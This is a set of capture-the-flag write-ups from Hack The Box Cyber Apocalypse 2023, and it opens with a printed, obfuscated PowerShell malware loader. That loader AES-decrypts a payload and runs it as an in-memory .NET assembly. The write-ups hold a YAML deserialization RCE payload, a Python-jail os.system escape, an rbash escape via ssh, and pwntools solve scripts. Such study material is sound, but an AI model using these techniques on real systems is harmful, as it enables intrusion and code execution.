($YiLGW in $eIfqq) { if ($YiLGW.StartsWith(':: ')) { $VuGcO = $YiLGW.Substring(3); break; }; };$uZOcm = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($VuGcO);$BacUA = New-Object System.Security.Cryptography.AesManaged;$BacUA.Mode = [System.Security.Cryptography.CipherMode]::CBC;$BacUA.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$BacUA.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('0xdfc6tTBkD+M0zxU7egGVErAsa/NtkVIHXeHDUiW20=');$BacUA.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2hn/J717js1MwdbbqMn7Lw==');$Nlgap = $BacUA.CreateDecryptor();$uZOcm = $Nlgap.TransformFinalBlock($uZOcm, 0, $uZOcm.Length);$Nlgap.Dispose();$BacUA.Dispose();$mNKMr = New-Object System.IO.MemoryStream(, $uZOcm);$bTMLk = New-Object System.IO.MemoryStream;$NVPbn = New-Object System.IO.Compression.GZipStream($mNKMr, [IO.Compression.CompressionMode]::Decompress);$NVPbn.CopyTo($bTMLk);$NVPbn.Dispose();$mNKMr.Dispose();$bTMLk.Dispose();$uZOcm = $bTMLk.ToArray();$gDBNO = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uZOcm);$PtfdQ = $gDBNO.EntryPoint;$PtfdQ.Invoke($null, (, [string[]] ('%*'))) 5 | -------------------------------------------------------------------------------- /forensics/relic_maps/s2defs.txt: -------------------------------------------------------------------------------- 1 | ualBOGvshk=ws" 2 | PxzdwcSExs= /" 3 | ndjtYQuanY=po" 4 | cHFmSnCqnE=Wi" 5 | CJnGNBkyYp=co" 6 | jaXcJXQMrV=rS" 7 | nwIWiBzpbz=:\" 8 | xprVJLooVF=Po" 9 | tzMKflzfvX=0\" 10 | VCWZpprcdE=1." 11 | XzrrbwrpmM=\v" 12 | BFTOQBPCju=st" 13 | WmUoySsDby=he" 14 | tHJYExMHlP=rs" 15 | JPfTcZlwxJ=do" 16 | VxroDYJQKR=y " 17 | UBndSzFkbH=py" 18 | KXASGLJNCX=ll" 19 | vlwWETKcZH=em" 20 | OOOxFGwzUd=e"" 21 | NCtxqhhPqI=32" 22 | GOPdPuwuLd=\W" 23 | XUpMhOyyHB=ex" 24 | cIqyYRJWbQ=we" 25 | kTEDvsZUvn=nd" 26 | XBucLtReBQ=Sy" 27 | JBRccySrUq=ow" 28 | eNOycQnIZD=xe" 29 | chXxviaBCr=we" 30 | YcnfCLfyyS=in" 31 | lYCdEGtlPA=.e" 32 | pMrovuxjjq=he" 33 | UrPeBlCopW=ll" 34 | ujJtlzSIGW= C" 35 | zhNAugCrcK="%~0." 36 | ZqjBENExAX=s\" 37 | dzPrbmmccE=cd" 38 | xQseEVnPet= "%~dp0"" 39 | wxzMwkmbmY=gDBN" 40 | VavtsuhNIN=F'[-" 41 | AHKCuBAkui=r = " 42 | ARecVABHyu=uZOc" 43 | AbZpTpKurz=6] -" 44 | BaMYsIgnsM=$uZO" 45 | JBUgbyTPxp=m(, " 46 | vGOYQQYIpx=.-16" 47 | yPzFwnsYdA= New" 48 | zuIYfGJIhV=O.Me" 49 | gbXeIdPSoj='[-1" 50 | BqEMjgsfHM=]::(" 51 | bivuMABwCB=Invo" 52 | SJsEzuInUY=ile " 53 | htJeDhbeDW=();$" 54 | ZygfZJxAOd=acUA" 55 | eDhTebXJLa="%~nx0." 56 | YlKbYsFYPy=in $" 57 | jdKMRqipbM=e]::" 58 | GVIREkvxRa=();$" 59 | OckpqzbYcn=n ''" 60 | UPfjubfNXt=Mr, " 61 | AkaPyEXHFq=esMa" 62 | LODxmGMGqq=flec" 63 | hImzprlFyw=pose" 64 | VZAbZqJHBk=1] -" 65 | WYJXnBQBDj= [Sy" 66 | rSVBNvbdPT=stem" 67 | tVtxVGNpFB=vert" 68 | tHHIjVCHeH=::De" 69 | WvjMoIIiUn=);$b" 70 | vmIEtsktnA=ypto" 71 | AbMyvUGzSH=fore" 72 | zDUDeXKPaV=..-1" 73 | INPLAzQfUo== [S" 74 | ArAxZuPIrp== $B" 75 | nGqMpclaJV=ZOcm" 76 | lfYSggLrsL=null" 77 | eQPFkQsLmh=hy.A" 78 | AyyrPvjwjr=;$mN" 79 | rjhOhltPzI=Disp" 80 | WojQSFImBz=17js" 81 | SKEwAQBRlN=$Nlg" 82 | KytxcYPZKt=YiLG" 83 | RGlZIMTaRM=urit" 84 | igJmqZApvQ=ss -" 85 | dGSGnKbkQW=pose" 86 | lSUnvlNyZI=tem." 87 | rddZbDFvhl=)))" 88 | KHqiJghRbq=and " 89 | WPGlloqWfh=ddin" 90 | pLUeCEDcNj=]::C" 91 | drymkVAnZW=);$B" 92 | KdByPVjCnF=ring" 93 | VnDoNvCbDL=orF'" 94 | GapFScCcpe=ke($" 95 | iVrCyJhMiJ=fc6t" 96 | oMsMdPYmPd=ert]" 97 | odWdfvJnBE=Lk =" 98 | ekEoGMuERC=yste" 99 | QMmDXFyyag=Syst" 100 | cYinxarhDL=lit(" 101 | bIgeRgvTeJ=ap.T" 102 | acXjUrxrpX=raph" 103 | SCbDgQuqTU=ay()" 104 | YYKSCuCbgJ=New-" 105 | YnGvhgYxvb=cm =" 106 | vnHosfjdeN=;$Pt" 107 | LIQYgFxctD=d;$B" 108 | olHsTHINJO=[Env" 109 | WQqetkePWs=NVPb" 110 | AGOCIKFMEK=::('" 111 | QbKdEZdxpx=uGcO" 112 | RWcegafVtf=daeR" 113 | ESpdErsKEO=pher" 114 | kJjQuXIjOT=.Con" 115 | dbDMRBPrxg=uGcO" 116 | mBIWiJNHWZ=esaB" 117 | WmHvayPxwd=.Mem" 118 | oQYrpYRHsU=stem" 119 | HFLAqJuuyu=ew-O" 120 | JhYYmEHfJT=ing(" 121 | pTKKchMUFD=BC;$" 122 | vShQyqnqqU=exe"" 123 | PjdRUyhsyG=[]] " 124 | VUeZKgDBUe=.Com" 125 | oNvGdyNkLt=oArr" 126 | IAkZpnEseT=UA.I" 127 | haSZYOmkiA=bstr" 128 | tzSNMWchGN=]::N" 129 | YKwLsVwqOj=Fina" 130 | MFRjJyYsrs=k; }" 131 | EdLUuXiTNo=File" 132 | nMbUuONTOk=7;$B" 133 | OAsjgKHKoH= = N" 134 | LLNnWnTLBJ=$bTM" 135 | xVIsxobyZi= '')" 136 | pUKFMEPFQs=onve" 137 | DDiJEpaiME=acUA" 138 | ENADhKPHot= [st" 139 | WTAeYdswqF=.IO." 140 | hVncqdtHrj=[Sys" 141 | EUwICZcugV=);$N" 142 | USLedfRsdA=ispo" 143 | YULKJDZpgz=t Sy" 144 | BlIFABuPAW=ress" 145 | gNabAkLFGN=();$" 146 | cGJiVEdEzp=ZOcm" 147 | OpWuyrggtP=ddin" 148 | NbOjNijxuU=.Len" 149 | EuMCNHEVeC=nirt" 150 | iHRclHpeVX=-joi" 151 | zFvgtBzUer=Comp" 152 | klVPUdMJas=ecry" 153 | tBsRPAyhtG=;$gD" 154 | uOGlqENvnk=$NVP" 155 | WSRbQhwrOC=$eIf" 156 | gFQQimTbzp=bjec" 157 | FCBcNynRGD=Bmor" 158 | gNELMMjyFY=-win" 159 | pqWXTkasXe=+M0z" 160 | pjrIjvjdGR=tryP" 161 | aGQeJYSFDZ=m.Re" 162 | hknFiXCnZQ=ion." 163 | MxwsyqmvYm=.Cre" 164 | FijcPoQLnC=ne);" 165 | VGKsxiJBaT=.Sec" 166 | roXhULjavE=pres" 167 | FraARuTjiq=($Yi" 168 | rEvTlCThdH=VIHX" 169 | JCuNlxqlBZ=:: '" 170 | BANrSlObpx=nage" 171 | CMHWMmXlZO=eam(" 172 | MtoMzhoqyY=bypa" 173 | xfHbUEWpFC=-Obj" 174 | ktDjVGpvOa=pStr" 175 | hzjnwzdyGY=ct S" 176 | HkiSTlwlIs=-4] " 177 | AnKEeEZdOq=rans" 178 | doKcadyJqy=xU7e" 179 | dyJHMHMcNc=S46e" 180 | jCsFOJQsdv=tem." 181 | pEeOvclMbZ=PKCS" 182 | fFqNPWfBWr=se()" 183 | XEyDmChJvW= = $" 184 | ZMNBNnhYdl=BacU" 185 | UmCJMMMcBg=m.IO" 186 | FcrKUOEnOU=.Cop" 187 | eYuashSMjP=y.Ci" 188 | reviZiSttH=oryS" 189 | xijYXotZPT=Comp" 190 | yqhJQSZuJo=rAsa" 191 | QCZuMFaZsV=lBlo" 192 | DAaZVQYtML=V = " 193 | gbVsRGzTij=.Key" 194 | OOiwgwuupI=ose(" 195 | hbFnQgCXwX=Secu" 196 | AiqHTcPzsv=th('" 197 | KUKwZheGNw=BNO " 198 | OonlMOpxYC=tem." 199 | oFspIELDJK=ewLi" 200 | isQISZiBPJ=acUA" 201 | EiWocIreAk=yTo(" 202 | CZpuCIcrKh=Secu" 203 | ZNBNkxQuUl=.GZi" 204 | ZPlPiozEyW='')(" 205 | eFWpiweoyr=am;$" 206 | kEHDlJOIVc=gMod" 207 | PwJJFMgamh=eHDU" 208 | nfEeCcWKKK=-ep " 209 | dAuevoJWoL=gnir" 210 | BMVjGSkNrk=.Cry" 211 | GwAFOSfUtV=acUA" 212 | bSIafzAxiZ=Lk.T" 213 | uynFENuiYB=iron" 214 | BGoTReCegg=qq =" 215 | DXdgqiFTAH=ptog" 216 | QNxYaFZSBu=);$P" 217 | shhyfkrTvn=m = " 218 | fvEtritbuM= = $" 219 | IwOqmlYsbl=('da" 220 | EDuGpmwedn=m = " 221 | rFsKCxpAbv=.Dis" 222 | HLynrUfwGo=6esa" 223 | wwmTmFdRsZ=trea" 224 | IeRiYUFnCZ=Obje" 225 | kxCYxBSxVM=..-1" 226 | xULgeMdzcg='0xd" 227 | vXewtPjogB=$bTM" 228 | GhTXhmRnCR=, (," 229 | MBvrUwPCDz=m.IO" 230 | KVdpASYkBZ=A.Pa" 231 | fxpyemHAMo=Stre" 232 | KtmeCApwQn=tion" 233 | jWtWLzuDKP=bbqM" 234 | xllGdjvUjB=em.I" 235 | ahbOZSBViB=Star" 236 | MusMeoeDey=Disp" 237 | ySgQyAAfQH=ect " 238 | LPGeAanVGt=3); " 239 | LYxpWUVnyn==');" 240 | TfyrgNGxBL=ress" 241 | ZNnASGtLCj=y]::" 242 | KXttaDcyMZ=.Mod" 243 | RfMwENsorP=morF" 244 | CZTFliIBbC=:('g" 245 | mYyPXMYwYi=oint" 246 | SIQjFslpHA=comm" 247 | pibEdoDBbD=mNKM" 248 | TVsNOuCNZd= '')" 249 | yQujDHraSv= hid" 250 | fVHBRsLNUl='gni" 251 | iREuYMPcTg=ct S" 252 | uDsfTCYsro=g = " 253 | zwDBykiqZZ=den " 254 | weRTbbZPjT=tyle" 255 | uwRWnyAikF=tS46" 256 | bTHJpHTPMM=)($V" 257 | TuqTvTpeOG=bn.D" 258 | GWrDWSvoPL=W.Su" 259 | KXapePmHCe=form" 260 | eeacPrYshd=iW20" 261 | XEcuUpquLQ=ress" 262 | iCcGUuJxVn=.Dis" 263 | WXWHLOygSe=gap." 264 | XIAbFAgCIP=dows" 265 | QzqEkBCLON=Lk);" 266 | pCjFJxRqgH=Conv" 267 | TEtLFfgLmA=TMLk" 268 | GzBAHPVuTq=] -j" 269 | VUsEoebHks=('2h" 270 | YiVTQhqRnm=New-" 271 | kQQvXhxXIT=Mode" 272 | RITIeDNkWx=$mNK" 273 | LNwemqbftD=saBm" 274 | DCnzMxKRnm=ose(" 275 | ftaecaUnft=;$Nl" 276 | KhyyrSrcKr='[-1" 277 | QpDqsQAemY=rt]:" 278 | RycUceHQZc=ck($" 279 | QTBYjmNXEB=[Sys" 280 | iKAAuWsbec=).Sp" 281 | UAnQUvXBfs=$bTM" 282 | zhsTKtujLg=acUA" 283 | CpAQgSdzaC=Syst" 284 | qIhOqqdyjR=uZOc" 285 | LmCknrHfoB=ach " 286 | dlzhxQnMss=TBkD" 287 | YJZmDySMUy=)($u" 288 | gqUdnmSTUN=LGW " 289 | tuAPcYGhzl=n/J7" 290 | jxjvtHoTnR=tfdQ" 291 | jpqWVBsCpx=;$Nl" 292 | HUAAetwukX=1..-" 293 | rVOFKTskYR=]::(" 294 | XzWakcViZI=ptor" 295 | hNwOTmvEJo=gGVE" 296 | MFpVhvZMMs=ptog" 297 | YRqcyngfyU=$Bac" 298 | uIWSZVpUHl=sion" 299 | QGiWXkfFPy=);$B" 300 | JPOdGPAwht=/Ntk" 301 | mxXhSCdBil=KMr." 302 | TYbHmXrqgV=)) {" 303 | kpEWZrtOzX=; };" 304 | TypmIIEYJC=grap" 305 | GEFNspgkfU=Obje" 306 | glRvzlEEoe=join" 307 | JbFOJyRrBm=oL'[" 308 | hwZKiiLqAE=LGW." 309 | MrNTGKcbYu=n ''" 310 | XClTzcVMGM=join" 311 | XqtgTmRIdO=em.C" 312 | nMLIkcyFZj='txe" 313 | BrDOtQoojB=$uZO" 314 | LfngwmfRCb=fdQ." 315 | jtkYEPXtKX=TllA" 316 | KAlyOryibJ=yste" 317 | GJcpQprPXv=ionM" 318 | rofQqYizRu=-joi" 319 | UFSmCjquVd=rity" 320 | SRYmoDJgcF=raph" 321 | mFZJVdqlTD=[-1." 322 | hbnAmGyJMk=gth)" 323 | hTTJOKGuzo=brea" 324 | JenYfqHzBk=y.Cr" 325 | DwiWdAaOiv=cm);" 326 | vPgKEvZmlQ===')" 327 | jgiQdwyxFg=rtS4" 328 | qpUykKHwzb=('%~f0'" 329 | GLwLVWewUj=eIfq" 330 | MAPkvbWKbC=.Ass" 331 | jugDlMdkcG=.Cry" 332 | TiuQnZmosP=-1.." 333 | EQAuBusyXb=q) {" 334 | GTgGJngEbX=[IO." 335 | yZlAoExoOn=O.En" 336 | sLNudRRtUX= $V" 337 | WauWfrgGak=ment" 338 | YmUoUKWAtR=ode]" 339 | yOkBDuSVrl= if " 340 | MJKqSlzRdg=VPbn" 341 | PmpGnAHBIo=, $u" 342 | cUDojRpXKx= [Sy" 343 | svwZUufvHX=y.Pa" 344 | GDXqElqPYy=($Yi" 345 | ybHVOwcPrc= = [" 346 | hIpFAiXGDz=m, 0" 347 | lfCLMrJHhW=gap " 348 | NXvoEmTmgu=1Mwd" 349 | DNNdkNfTiI=comp" 350 | kpzxAxFvLw=('%*'" 351 | MsfoqNTDfI=ateD" 352 | MmhvJKSdep=mory" 353 | uVLEiIUjzw=prof" 354 | NvnNgHLBLJ=n7Lw" 355 | owRVWPJqcX=rity" 356 | HlBVDpGgba=embl" 357 | SIneUaQPty=stem" 358 | nogFGGEgdF=16] " 359 | qsPTvcejTS=n = " 360 | wEZCzuPukj=[Sys" 361 | rVuFsOUxnm=yste" 362 | fLycQgNMii=oin " 363 | KsuJogdoiJ= -no" 364 | djeIEnPaCg=tsWi" 365 | brwOvSubJT=e = " 366 | TOqZKQRZli=uZOc" 367 | -------------------------------------------------------------------------------- /forensics/relic_maps/stage3.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/forensics/relic_maps/stage3.bin -------------------------------------------------------------------------------- /hardware/critical_flight/README.md: -------------------------------------------------------------------------------- 1 | # Critical flight (very easy) 2 | In this challenge we need to open another type of file. 3 | 4 | After downloading the challenge files, we get a bunch of `.gbr` files. 5 | After some additional internet browsing I find out these are called gerber files. 6 | 7 | The `community/gerbv` package on archilnux provides the views that can open these files. 8 | 9 | After opening the files I see the following: 10 | 11 | ![Picture of the opened files](all_layers.png "all files opened in gerbv") 12 | 13 | Now I decided to hide/unhide layers as that was the only action I knew how to do. 14 | 15 | After some trial and error, the following parts of the flag were revealed: 16 | 17 | ![Picture of first part of flag](flag1.png "Layer with first part of the flag") 18 | ![Picture of first part of flag](flag2.png "Layer with second part of the flag") 19 | 20 | The final symbol of the second part was an `@`, which gave me a bit of a hard time, but the flag was submitted. 21 | -------------------------------------------------------------------------------- /hardware/critical_flight/all_layers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/hardware/critical_flight/all_layers.png -------------------------------------------------------------------------------- /hardware/critical_flight/flag1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/hardware/critical_flight/flag1.png -------------------------------------------------------------------------------- /hardware/critical_flight/flag2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/hardware/critical_flight/flag2.png -------------------------------------------------------------------------------- /hardware/debug/README.md: -------------------------------------------------------------------------------- 1 | # Debug (easy) 2 | For this challenge we will use saleae-logic2 3 | 4 | Now we are back again with a `.sal` file, and I already have a tool to open this from the first challenge. 5 | 6 | Now we see 2 signals RX and TX, and from me experimenting with the analyzers from the first challange I had the feeling that this might be a capture of UART communication. 7 | 8 | And indeed the assumption is correct, using the `Async Serial` analyzer with 115200 bits/s (a common value for UART communication) I was able to decode the communication and get the flag. 9 | 10 | ![Picture of decoded signals](flag.png "result of async serial analyzer") 11 | -------------------------------------------------------------------------------- /hardware/debug/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/hardware/debug/flag.png -------------------------------------------------------------------------------- /hardware/timed_transmission/README.md: -------------------------------------------------------------------------------- 1 | # Timed transmission (very easy) 2 | For this challange we need to figure out how to open a `.sal` file. 3 | 4 | Well, we get this file and some internet searching later I figure out that there's a tool called `saleae-logic2` that can open this file. 5 | 6 | On archlinux this can be acquired from the `aur/saleae-logic2` package. 7 | 8 | After opening the file I spent quite a bit of time trying the different analyzers, before noticing that the signals themselves form the letters of the flag. 9 | 10 | After copying the letters to a txt file I got the flag. 11 | 12 | ![Picture of file opened in the right tool](flag.png ".sal file opened in saleae logic 2") 13 | 14 | Try to convince yourself that you can see the letters `HTB` in the picture above 15 | -------------------------------------------------------------------------------- /hardware/timed_transmission/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sbencoding/htb_ca2023_writeups/916ed9209cb7fc0f58cc1f3f66cf27111314b898/hardware/timed_transmission/flag.png -------------------------------------------------------------------------------- /misc/hijack.md: -------------------------------------------------------------------------------- 1 | # Hijack (easy) 2 | This challenge will use python YML deserialization. 3 | 4 | When connecting to the remote we can generate a config load a config or exit 5 | 6 | When we generate a config we get a base64 string 7 | ``` 8 | ISFweXRob24vb2JqZWN0Ol9fbWFpbl9fLkNvbmZpZyB7SVJfc3BlY3Ryb21ldGVyX3RlbXA6ICcxMCcsIGF1dG9fY2FsaWJyYXRpb246ICdPTicsCiAgcHJvcHVsc2lvbl90ZW1wOiAnMTAnLCBzb2xhcl9hcnJheV90ZW1wOiAnMTAnLCB1bml0czogRn0K 9 | ``` 10 | 11 | When decoded: 12 | ``` 13 | !!python/object:__main__.Config {IR_spectrometer_temp: '10', auto_calibration: 'ON', 14 | propulsion_temp: '10', solar_array_temp: '10', units: F} 15 | ``` 16 | 17 | First I noted that this is a python service running on the remote. 18 | After looking for a similar structured string online I found out that this is what YML serialization looked like 19 | 20 | Next I had looked at how this can be exploited. 21 | It seems that there are 2 types of load functions: 22 | * `safe_load` - will not deserialize class objects 23 | * `load` - will deserialize class objects 24 | 25 | I tried my luck with hoping that it will use unsafe deseralization, and it was 26 | 27 | ```python 28 | # https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization 29 | # HTB{1s_1t_ju5t_m3_0r_iS_1t_g3tTing_h0t_1n_h3r3?} 30 | import yaml 31 | import base64 32 | from yaml import UnsafeLoader, FullLoader, Loader 33 | import subprocess 34 | import os 35 | 36 | class Payload(object): 37 | def __reduce__(self): 38 | return (os.system,('cat flag.txt',)) 39 | 40 | deserialized_data = yaml.dump(Payload()) # serializing data 41 | print(base64.b64encode(deserialized_data)) 42 | ``` 43 | 44 | Before the final version I have submitted some other commands to find out where the flag is on the system. 45 | -------------------------------------------------------------------------------- /misc/janken.md: -------------------------------------------------------------------------------- 1 | # Janken (easy) 2 | For this challenge we get a binary that will be running on the remote. 3 | 4 | First I check the rules of the game, and it seems like a rock, paper, scissors game. 5 | When playing we can type rock, paper, scissors, the opponent will guess as well and we need to win 100 times. 6 | Let's see how the game is implemented in ghidra 7 | 8 | ```c 9 | for (; rounds < 100; rounds = rounds + 1) { 10 | fprintf(stdout,"\n[*] Round [%d]:\n",rounds); 11 | game(); 12 | } 13 | ``` 14 | 15 | In main we see that the `game` function is called 100 times, let's see what the `game` function does. 16 | 17 | ```c 18 | tVar2 = time((time_t *)0x0); 19 | srand((uint)tVar2); 20 | iVar1 = rand(); 21 | local_78[0] = "rock"; 22 | local_78[1] = "scissors"; 23 | local_78[2] = "paper"; 24 | local_38 = 0; 25 | local_30 = 0; 26 | local_28 = 0; 27 | local_20 = 0; 28 | local_58[0] = "paper"; 29 | local_58[1] = "rock"; 30 | local_58[2] = "scissors"; 31 | fwrite(&DAT_00102540,1,0x33,stdout); 32 | read(0,&local_38,0x1f); 33 | fprintf(stdout,"\n[!] Guru\'s choice: %s%s%s\n[!] Your choice: %s%s%s",&DAT_00102083, 34 | local_78[iVar1 % 3],&DAT_00102008,&DAT_0010207b,&local_38,&DAT_00102008); 35 | local_88 = 0; 36 | do { 37 | sVar4 = strlen((char *)&local_38); 38 | if (sVar4 <= local_88) { 39 | LAB_001017a2: 40 | pcVar5 = strstr((char *)&local_38,local_58[iVar1 % 3]); 41 | if (pcVar5 == (char *)0x0) { 42 | fprintf(stdout,"%s\n[-] You lost the game..\n\n",&DAT_00102083); 43 | /* WARNING: Subroutine does not return */ 44 | exit(0x16); 45 | } 46 | fprintf(stdout,"\n%s[+] You won this round! Congrats!\n%s",&DAT_0010207b,&DAT_00102008); 47 | if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) { 48 | /* WARNING: Subroutine does not return */ 49 | __stack_chk_fail(); 50 | } 51 | return; 52 | } 53 | ppuVar3 = __ctype_b_loc(); 54 | if (((*ppuVar3)[*(char *)((long)&local_38 + local_88)] & 0x2000) != 0) { 55 | *(undefined *)((long)&local_38 + local_88) = 0; 56 | goto LAB_001017a2; 57 | } 58 | local_88 = local_88 + 1; 59 | } while( true ); 60 | ``` 61 | 62 | First our input is read, and the opponent chooses a random move. 63 | `local_78` is the array of moves for the opponent. 64 | At matching indices `local_58` contains the winning moves that we need to make, important to note how a draw counts as a lose for some reason. 65 | 66 | But look at what function is used! `strstr` looks for the second argument in the first argument, and returns the index of the first occurrence or NULL if not found. 67 | 68 | Now notice how when reading user input 0x1f bytes are read. 69 | 70 | We can just send `rockpaperscissors` on each choice and it would surely contain the winning move! 71 | 72 | ```python 73 | from pwn import * 74 | p = remote('165.227.224.40', 30509) 75 | 76 | payload = 'rockpaperscissors' 77 | p.sendlineafter(b'>>', b'1') 78 | 79 | for i in range(99): 80 | p.sendlineafter(b'>>', b'rockpaperscissors') 81 | print(f'sent {i}') 82 | p.interactive() 83 | ``` 84 | 85 | For some reason there was an issue with sending this 100 times, so I decreased the count to 99 86 | 87 | After this the opponent gives us the flag. 88 | -------------------------------------------------------------------------------- /misc/nehebkaus_trap.md: -------------------------------------------------------------------------------- 1 | # Nehebkaus trap (medium) 2 | For this challenge the remote allows us to send input. 3 | 4 | After some trial and error I sent 5 | `print(1)` and I got back 1 as the result. This seems like python evaluates whatever we input 6 | 7 | Let's try `print('test')`! 8 | Oh, this contains a blacklisted character :( 9 | 10 | But parentheses work! We can construct any string we want by doing `chr()+...+chr()` 11 | And luckily the `+` is also allowed. 12 | 13 | Now all that is left to do is to encode our payload with the following method to get the flag: 14 | 15 | ```python 16 | def obf(inp): 17 | ans = [] 18 | for c in inp: 19 | ans.append(f'chr({ord(c)})') 20 | return '+'.join(ans) 21 | 22 | shell_cmd = 'cat flag.txt' 23 | eval_content = f'__import__("os").system("{shell_cmd}")' 24 | command = f'print(eval({obf(eval_content)}))' 25 | 26 | print(command) 27 | ``` 28 | -------------------------------------------------------------------------------- /misc/persistence.md: -------------------------------------------------------------------------------- 1 | # Persistence (very easy) 2 | This challenge asks us to send around 1000 request to a `/flag` endpoint. 3 | 4 | ```python 5 | import requests 6 | for i in range(0, 2000): 7 | resp = requests.get('http://165.232.108.36:30519/flag') 8 | if b'HTB' in resp.content: print(resp.content) 9 | ``` 10 | -------------------------------------------------------------------------------- /misc/remote_computation.md: -------------------------------------------------------------------------------- 1 | # Remote computation (easy) 2 | In this challenge we will need to perform some computation coming from a remote 3 | 4 | First let's read through the **help** menu 5 | 6 | ``` 7 | Results 8 | --- 9 | All results are rounded 10 | to 2 digits after the point. 11 | ex. 9.5752 -> 9.58 12 | 13 | Error Codes 14 | --- 15 | * Divide by 0: 16 | This may be alien technology, 17 | but dividing by zero is still an error! 18 | Expected response: DIV0_ERR 19 | 20 | * Syntax Error 21 | Invalid expressions due syntax errors. 22 | ex. 3 +* 4 = ? 23 | Expected response: SYNTAX_ERR 24 | 25 | * Memory Error 26 | The remote machine is blazingly fast, 27 | but its architecture cannot represent any result 28 | outside the range -1337.00 <= RESULT <= 1337.00 29 | Expected response: MEM_ERR 30 | ``` 31 | 32 | So now we know something about rounding and the types of errors we should have. 33 | 34 | I will shamelessly pass all the input to `eval` in python. 35 | It would have been funny if they sent an RCE :) 36 | 37 | The errors are pretty much already covered by python and the calculation logic is obviously implemented. 38 | 39 | ```python 40 | from pwn import * 41 | p = remote('165.227.224.40', 30418) 42 | 43 | p.sendlineafter(b'>', b'1') 44 | 45 | for i in range(0, 500): 46 | req = p.recvuntil(b'=') 47 | eq = req.split(b': ')[1][:-2] 48 | print(eq) 49 | ans = None 50 | try: 51 | ans = round(eval(eq), 2) 52 | if ans < -1337.00 or ans > 1337.00: ans = 'MEM_ERR' 53 | else: ans = str(ans) 54 | except ZeroDivisionError: 55 | ans = 'DIV0_ERR' 56 | except SyntaxError: 57 | ans = 'SYNTAX_ERR' 58 | 59 | print(f' -- {ans}') 60 | p.sendlineafter(b'>', bytes(ans, 'utf-8')) 61 | p.interactive() 62 | ``` 63 | -------------------------------------------------------------------------------- /misc/restricted.md: -------------------------------------------------------------------------------- 1 | # Restricted (easy) 2 | In this challenge we will try to bypass a restricted bash shell 3 | 4 | From the `Dockerfile` we see that a restricted environment is set up. 5 | * Our user will be the **restricted** user 6 | * As shell we will have `rbash` 7 | * We will have access to 3 executables: `top`, `uptime` and `ssh` 8 | * Our path is restricted to the `.bin` folder in our home directory 9 | 10 | Reading the ssh configuration I found the following line: 11 | ``` 12 | Match user restricted 13 | PermitEmptyPasswords yes 14 | ``` 15 | 16 | Okay so we can log in using the **restricted** user through ssh. 17 | 18 | Once on the system it seems that we can't do anything. 19 | This is a good time to go to [GTFO bins](https://gtfobins.github.io/) to see if there is any way to escape our restricted environment. 20 | 21 | `top` and `uptime` don't seem helpful, however `ssh` seems promising. 22 | 23 | I went to the file read section, which suggested a way to read files outside of the restricted environment. 24 | 25 | From the docker file we already know the flag is in `/flag`, so we use the following command on the remote: 26 | 27 | ``` 28 | ssh -F /flag* localhost -p 1337 29 | ``` 30 | 31 | This will read us the flag :) 32 | -------------------------------------------------------------------------------- /misc/the_chasms_crossing_conondrum.md: -------------------------------------------------------------------------------- 1 | # The chasm's crossing conundrum (hard) 2 | First I get the instructions of the game 3 | 4 | ``` 5 | ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ 6 | ☠ ☠️ 7 | ☠ [*] The path ahead is treacherous. ☠️ 8 | ☠ [*] You have to find a viable strategy to get everyone across safely. ☠️ 9 | ☠ [*] The bridge can hold a maximum of two persons. ☠️ 10 | ☠ [*] The chasm lurks on either side of the bridge waiting for those ☠️ 11 | ☠ who think they can get across in total darkness. ☠️ 12 | ☠ [*] If two persons get across, one must come back with the flashlight. ☠️ 13 | ☠ [*] The flashlight has energy only for a limited amount of time. ☠️ 14 | ☠ [*] The time required for two persons to cross, is dictated by the slower. ☠️ 15 | ☠ [*] The answer must be given in crossing and returning pairs. For example, ☠️ 16 | ☠ [1,2],[2],... . This means that persons 1 and 2 cross and 2 gets back ☠️ 17 | ☠ with the flashlight so others can cross. ☠️ 18 | ☠ ☠️ 19 | ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ ☠ 20 | ``` 21 | 22 | Basically: 23 | * cross a bridge 24 | * only one flashlight is available which is limited 25 | * flashlight is required to cross 26 | * at most 2 people can cross 27 | * each person has a different time to cross 28 | * the crossing speed is that of the slowest person on the bridge 29 | 30 | First I have thought that a greedy solution would be good for this challenge. 31 | This would mean that I find the fastest person and then always send from one side the fastest person and someone, and then only the fastest person on the way back. 32 | 33 | After trying and failing a couple of times I started to question whether this was truly the best approach. 34 | 35 | I had a slight intuition that we could send the 2 slowest people across, because that would essentially delete the time penalty of the second slowest person, whereas with my approach we always take the time penalty of every person. 36 | 37 | The basic 4 person version of this problem is quite popular as internet browsing suggests. 38 | 39 | 1. Send 2 fastest 40 | 2. Send fastest back 41 | 3. Send 2 slowest 42 | 4. Send 2nd fastest back 43 | 5. Make 2 fastest cross together 44 | 6. win 45 | 46 | However extending this to multiple people, or having an algorithm to give the ordering of people and not just the shortest time was not so popular 